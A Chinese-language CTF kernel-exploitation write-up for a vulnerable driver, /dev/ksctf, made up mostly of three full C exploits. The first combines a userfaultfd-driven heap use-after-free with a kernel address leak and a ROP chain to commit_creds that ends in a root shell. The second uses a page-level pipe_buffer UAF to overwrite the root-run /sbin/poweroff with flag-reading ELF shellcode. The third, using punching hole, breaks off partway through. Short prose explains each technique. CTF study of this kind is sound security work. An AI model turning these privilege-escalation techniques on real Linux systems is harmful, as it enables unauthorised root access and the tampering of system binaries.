// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>

size_t modprobe_path = 0xffffffff824493c0;
size_t heap_addr = 0;
size_t work_for_cpu_fn = 0xffffffff810bd960;
size_t init_creds = 0xffffffff82c6b920;
size_t commit_creds = 0xffffffff810ce710;
size_t orignal[0x30];
size_t leak, kernel_base;
size_t magic_gadget = 0xffffffff81599a34;
// 0xffffffff81599a34: push rsi; pop rsp; setl al; shl eax, 2; ret;
size_t add_rsp = 0xffffffff81371a49;
// 0xffffffff81371a49: add rsp, 8; pop rbx; pop r12; pop rbp; ret;
size_t pop_rdi;
size_t add_rsp_188_pop_rbx_ret;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a74;
size_t ptr = 0;

int msg_qid;
int tty_fd;
char msg_buf[0x1000];
int pipe_fd[2];

struct node{
char *msg;
uint64_t a;
uint64_t b;
uint64_t c;
uint64_t d;
uint64_t e;
};
struct node vuln;

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct list_head {
uint64_t next;
uint64_t prev;
};

struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};

int getMsgQueue(void){
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp){
return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

/**
* the msgp should be a pointer to the `struct msgbuf`,
* and the data should be stored in msgbuf.mtext
*/
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp){
((struct msgbuf*)msgp)->mtype = msgtyp;
return msgsnd(msqid, msgp, msgsz, 0);
}

#define MSG_COPY 040000
/* for MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue */
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp){
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security){
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
char v14[0x100];
void add(){
puts("[*] Begin add.");
vuln.e = (size_t)v14;
for(;;){
int result = ioctl(fd, 0xFFF0, &vuln);
if(result != -1){
info("Add success.");
heap_addr = *(size_t*)vuln.e;
hexx("heap_addr", heap_addr);
break;
}
}
}

void del(){
puts("[*] Begin delete");
vuln.e = 0;
for(;;){
int result = ioctl(fd, 0xFFF1, &vuln);
if(result != -1){
info("Delete success.");
break;
}
}
}

sem_t sem_write, sem_free;
size_t payload[0x100];

size_t uffd_buf[0x200];
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler){
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

uffdio_register.range.start = (unsigned long long)uffd_buf;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

void hijack_handler(void *args){
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;

for (;;){
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1)
err_exit("Failed to exec poll for leak_handler");

int res = read(uffd, &msg, sizeof(msg));
if (res == 0)
err_exit("EOF on userfaultfd for leak_handler");
if (res == -1)
err_exit("ERROR on userfaultfd for leak_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("INCORRET EVENT in leak_handler");
// operation
info("hijack the kernel in userfaultfd -- hijack_handler");
del();

memset(msg_buf, 0, sizeof(msg_buf));
int ret = writeMsg(msg_qid, msg_buf, 0x400 - 0x30, 0x1337);
if(ret < 0){
err_exit("Write msg.");
}

uffd_buf[0] = heap_addr - 0x7bc00 + 0xc8;
uffd_buf[1] = heap_addr - 0x7bb40;
uffd_buf[2] = 0x1337;
uffd_buf[3] = 0x1000;
uffd_buf[4] = heap_addr + 0x300;

if (pipe(pipe_fd) < 0) {
perror("create pipe");
exit(0);
}

if (write(pipe_fd[1], "stas", 8) < 0){
err_exit("write pipe.");
}


hexx("uffd_buf[0]", uffd_buf[0]);
hexx("uffd_buf[1]", uffd_buf[1]);
hexx("uffd_buf[2]", uffd_buf[2]);
hexx("uffd_buf[3]", uffd_buf[3]);
hexx("uffd_buf[4]", uffd_buf[4]);

uffdio_copy.src = uffd_buf;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
}
}

void get_root_shell(void){
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
size_t get_root_func = (size_t)get_root_shell;

char data[0x1100];

int main(int argc, char** argv, char** env)
{
bind_core(0);
save_status();

fd = open("/dev/ksctf",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

vuln.msg = (char*)malloc(0x30);
memset(vuln.msg, '\x00', 0x30);

msg_qid = getMsgQueue();

add();
ptr = heap_addr;
hexx("ptr", ptr);

pthread_t pwn;
char *uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler);

write(fd,uffd_buf_hijack, 0x28);

if (readMsg(msg_qid, data, 0x1000, 0x1337) < 0){
err_exit("read msg.");
}

binary_dump("leak data + 0x300", data + 0x300, 0x100);
memcpy(&leak, &data[0x3e8], 8);
hexx("leak", leak);
kernel_base = leak - 0x101a740;
hexx("kernel_base", kernel_base);
size_t kernel_offset = kernel_base - 0xffffffff81000000;
hexx("kernel_offset", kernel_offset);

modprobe_path += kernel_offset;
magic_gadget += kernel_offset;
hexx("modprobe_path", modprobe_path);
hexx("magic_gadget", magic_gadget);

init_creds = kernel_base + 0x1448cc0;
commit_creds = kernel_base + 0x97d00;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 49;
hexx("commit_creds", commit_creds);
hexx("work_for_cpu_fn", work_for_cpu_fn);
hexx("swapgs_restore_regs_and_return_to_usermode", swapgs_restore_regs_and_return_to_usermode);

pop_rdi = kernel_base + 0xe031;
add_rsp_188_pop_rbx_ret = kernel_base + 0x9369cc;
add_rsp += kernel_offset;
hexx("add_rsp_188_pop_rbx_ret",add_rsp_188_pop_rbx_ret);

int index = 0x20;
payload[index++] = add_rsp;
payload[index++] = 0x800000000;
payload[index++] = ptr + 0x400 + 0x10;
payload[index++] = magic_gadget;
payload[index++] = 0;
payload[index++] = pop_rdi;
payload[index++] = init_creds;
payload[index++] = commit_creds;
payload[index++] = swapgs_restore_regs_and_return_to_usermode;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = get_root_shell;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;

add();
write(fd, payload, 0x180);

close(pipe_fd[0]);
close(pipe_fd[1]);

puts("[+] EXP END.");
return 0;
}

求解效果

userfaultfd + pipe_buffer + page UAF

思路分析

现在我们来假设一种比较极端的情况,我们 /sys/kernel/notes 给打了补丁无法泄露地址,而且题目不再给出堆地址,以及内核编译时开启了 CONFIG_CFI_CLANG(可以防止攻击者进行 rop 攻击),这个时候就需要我们的 page uaf 登场了!!!

这玩意我是从 a3 师傅的博客学的,十分建议每位内核爱好者去反复阅读那篇文章:【CTF.0x08】D^ 3CTF2023 d3kcache 出题手记 - arttnba3’s blog,下面会借用 a3 师傅博客中的一些图片:-)

同样是利用 userfaultfd 来制造出 uaf,然后修改 pipe bufferpage 指针的第一个字节,使其出现两个 pipe buffer 指向同一个 page 的情况。

此时释放掉其中一个 pipe buffer,就会直接释放掉一整个页,出现页级 UAF !!!

gdb 中所看到的情况如下:

后面的操作就和题目的本身没有什么关系了(和用户态的 house of some 一样😇)。我本来的思路是将被释放的页重新取出来用于存储另一个 pipe buffer 数组,然后修改其中一个 pipe bufferflag0x10,实现任意文件的越权写入。可是喷了半天也没成功的命中。然后看到了 tplus 师傅的 wp,其思路更加的简单,即制造出 page uaf 后不断的喷射 target file(反复 open),然后修改 file → f_mode,也能实现越权写任意文件。

有了越权写任意文件后我是想着写 /etc/passwd 文件,可是这道题目没有这个文件再加上我也不是很熟悉这个东西,于是我选着修改 /sbin/poweroff。应为这个文件是连接着 busybox 的。当 qemu 关闭的时候会以 root 权限来指向这个文件。因此我们可以将 poweroff 文件修改为 readflag,然后输入 exit 即可类似于用户态的 orw 一样获取 flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>

struct node{
char *msg;
uint64_t a;
uint64_t b;
uint64_t c;
uint64_t d;
uint64_t e;
};
struct node vuln;

#define MAX_PIPE_COUNT 0x20
#define MAX_SECONDARY_PIPE_COUNT 0x150
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];
int snd_pipe_fd[MAX_SECONDARY_PIPE_COUNT][2];

void spray_pipes(int start, int cnt) {
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);

for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
}
}

void spray_pipes2() {
char *buf[0x1000] = { 0 };
printf("[*] enter %s\n", __PRETTY_FUNCTION__);
for (int i = 0; i < MAX_SECONDARY_PIPE_COUNT; ++i) {
if (pipe(snd_pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
if (fcntl(snd_pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1) < 0) {
perror("resize pipe");
exit(0);
}
}
}

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
char v14[0x100];
void add(){
puts("[*] Begin add.");
vuln.e = (size_t)v14;
for(;;){
int result = ioctl(fd, 0xFFF0, &vuln);
if(result != -1){
info("Add success.");
break;
}
}
}

void del(){
puts("[*] Begin delete");
vuln.e = 0;
for(;;){
int result = ioctl(fd, 0xFFF1, &vuln);
if(result != -1){
info("Delete success.");
break;
}
}
}

size_t uffd_buf[0x200];
void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler){
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

uffdio_register.range.start = (unsigned long long)uffd_buf;
uffdio_register.range.len = 0x1000;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

void hijack_handler(void *args){
int uffd = (int)args;
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;

for (;;){
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) == -1)
err_exit("Failed to exec poll for leak_handler");

int res = read(uffd, &msg, sizeof(msg));
if (res == 0)
err_exit("EOF on userfaultfd for leak_handler");
if (res == -1)
err_exit("ERROR on userfaultfd for leak_handler");
if (msg.event != UFFD_EVENT_PAGEFAULT)
err_exit("INCORRET EVENT in leak_handler");
// operation
info("hijack the kernel in userfaultfd -- hijack_handler");

printf("[*] trigger uaf\n");
del();

sleep(3);
spray_pipes(0, MAX_PIPE_COUNT);

for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
uint32_t k = i;
write(pipe_fd[i][1], "writesth", 8);
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], &k, sizeof(uint32_t));
write(pipe_fd[i][1], "Qanux", 8);
write(pipe_fd[i][1], "Qanux", 8);
}

char tmp[0x10];

uffd_buf[0] = 0xe180;

uffdio_copy.src = uffd_buf;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
err_exit("Failed to exec ioctl for UFFDIO_COPY in leak_handler");
}
}

unsigned char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48,
0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02,
0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01,
0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00,
0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00,
};

int main(int argc, char** argv, char** env)
{
char data[0x200];

bind_core(0);
save_status();

fd = open("/dev/ksctf",O_RDWR);
if (fd < 0){
err_exit("open device failed!");
}

vuln.msg = (char*)malloc(0x30);
memset(vuln.msg, '\x00', 0x30);

add();

pthread_t pwn;
char *uffd_buf_hijack = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
register_userfaultfd(uffd_buf_hijack, &pwn, hijack_handler);

write(fd,uffd_buf_hijack,0x2);

// try to find corrupted pipe_buf
printf("[*] finding corrupted page\n");
int corrupted_index = -1, pointed_index = 0;
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
already_read[i] = 1;
uint32_t k = 0;
char p_buf[0x10] = { 0 };
memset(p_buf, 0, 0x10);

read(pipe_fd[i][0], p_buf, 8);
read(pipe_fd[i][0], &k, sizeof(uint32_t));

if (k != i) {
corrupted_index = i;
pointed_index = k;
printf("[+] found %d=>%d pipe data: %p\n", i, k, *(uint64_t *)p_buf);
break;
}
usleep(1000);
}
if (corrupted_index == -1) {
printf("[-] failed to find corrupted page\n");
exit(0);
}

char *alloc_buf = (char*)malloc(0x1000);
memset(alloc_buf, 0, 0x1000);
write(pipe_fd[pointed_index][1], alloc_buf, 0x20);
close(pipe_fd[corrupted_index][0]);
close(pipe_fd[corrupted_index][1]);
int passwd_fd[0x200];
for(int i = 0; i < 0x200; i++){
passwd_fd[i] = open("/sbin/poweroff", O_RDONLY);
if(passwd_fd[i] < 0){
err_exit("open file.");
}
}

size_t tmp = 0x480e801f;
write(pipe_fd[pointed_index][1], &tmp, 4);

for(int i = 0; i < 0x200; i++){
int retval = write(passwd_fd[i], shellcode, sizeof(shellcode));
if(retval > 0){
puts("write file success.");
break;
}
}

for(int i = 0; i < 0x200; i++){
close(passwd_fd[i]);
}

puts("[+] EXP END.");
return 0;
}

求解效果

punching hole + pipe_buffer + page UAF

解题思路

这里我们对题目再进行最后一次升级,我们假设 kernel 版本为 6.6+,这个时候 userfaultfd 就只运行特权用户使用了。也许我们会想到用 fuse,可是在 kernel pwn 这种环境残缺的情况很难使用,这个时候我们就可以使用 puching hole。这个打法笔者是第一次听,网上也找不到什么资料,最后也是请教 Csome 师兄和 cnitlrt 师傅。大致意思就是把线程丢到一个等待队列,令一个线程休眠,其触发条件和 userfaultfd 一样也是通过 copy 类函数触发。将 userfaultfd 改用 punching hole 后其余操作和上面那个 exp 一致,不过由于使用了 punching hole 后堆的布局有了点变化,所以我 pipe_buffer 在堆块 uaf 的前面和后面各喷了一次以来提高命中率。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <linux/keyctl.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <stddef.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <linux/userfaultfd.h>
#include <sys/socket.h>
#include <asm/ldt.h>
#include <linux/if_packet.h>

struct node{
char *msg;
uint64_t a;
uint64_t b;
uint64_t c;
uint64_t d;
uint64_t e;
};
struct node vuln;

#define MAX_PIPE_COUNT 0x50
#define MAX_SECONDARY_PIPE_COUNT 0x150
int pipe_fd[MAX_PIPE_COUNT][2];
int already_read[MAX_PIPE_COUNT];
int snd_pipe_fd[MAX_SECONDARY_PIPE_COUNT][2];

void spray_pipes(int start, int cnt) {
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %d\n", __PRETTY_FUNCTION__, start);

for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
}
}

void spray_pipes2() {
char *buf[0x1000] = { 0 };
printf("[*] enter %s\n", __PRETTY_FUNCTION__);
for (int i = 0; i < MAX_SECONDARY_PIPE_COUNT; ++i) {
if (pipe(snd_pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
if (fcntl(snd_pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 1) < 0) {
perror("resize pipe");
exit(0);
}
}
}

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[34m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

/* bind the process to specific core */
void bind_core(int core){
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

int fd;
char v14[0x100];
void add(){
puts("[*] Begin add.");
vuln.e = (size_t)v14;
for(;;){
int result = ioctl(fd, 0xFFF0, &vuln);
if(result != -1){
info("Add success.");
break;
}
}
}

void del(){
puts("[*] Begin delete");
vuln.e = 0;
for(;;){
int result = ioctl(fd, 0xFFF1, &vuln);
if(result != -1){
info("Delete success.");
break;
}
}
}

int shm_id;
// SYNC
struct sync_s {
unsigned int x1;
unsigned int x2;
unsigned int x3;
unsigned int x4;
};
struct sync_s *sync_s;

#define MMAP_ADDR ((void *)0xdead0000)
#define TARGET_SIZE 0x1000
#define TARGET_PAGES (TARGET_SIZE / 0x8 - 1)

// PUNCHING HOLE
int mfd;
size_t shmem_sz = (0x1000 * 0xa) * PAGE_SIZE;
int punch_hole_prepare() {
int ret;
mfd = memfd_create("x", 0);
if (mfd == -1) {
err_exit("memfd_create failed");
return 1;
}

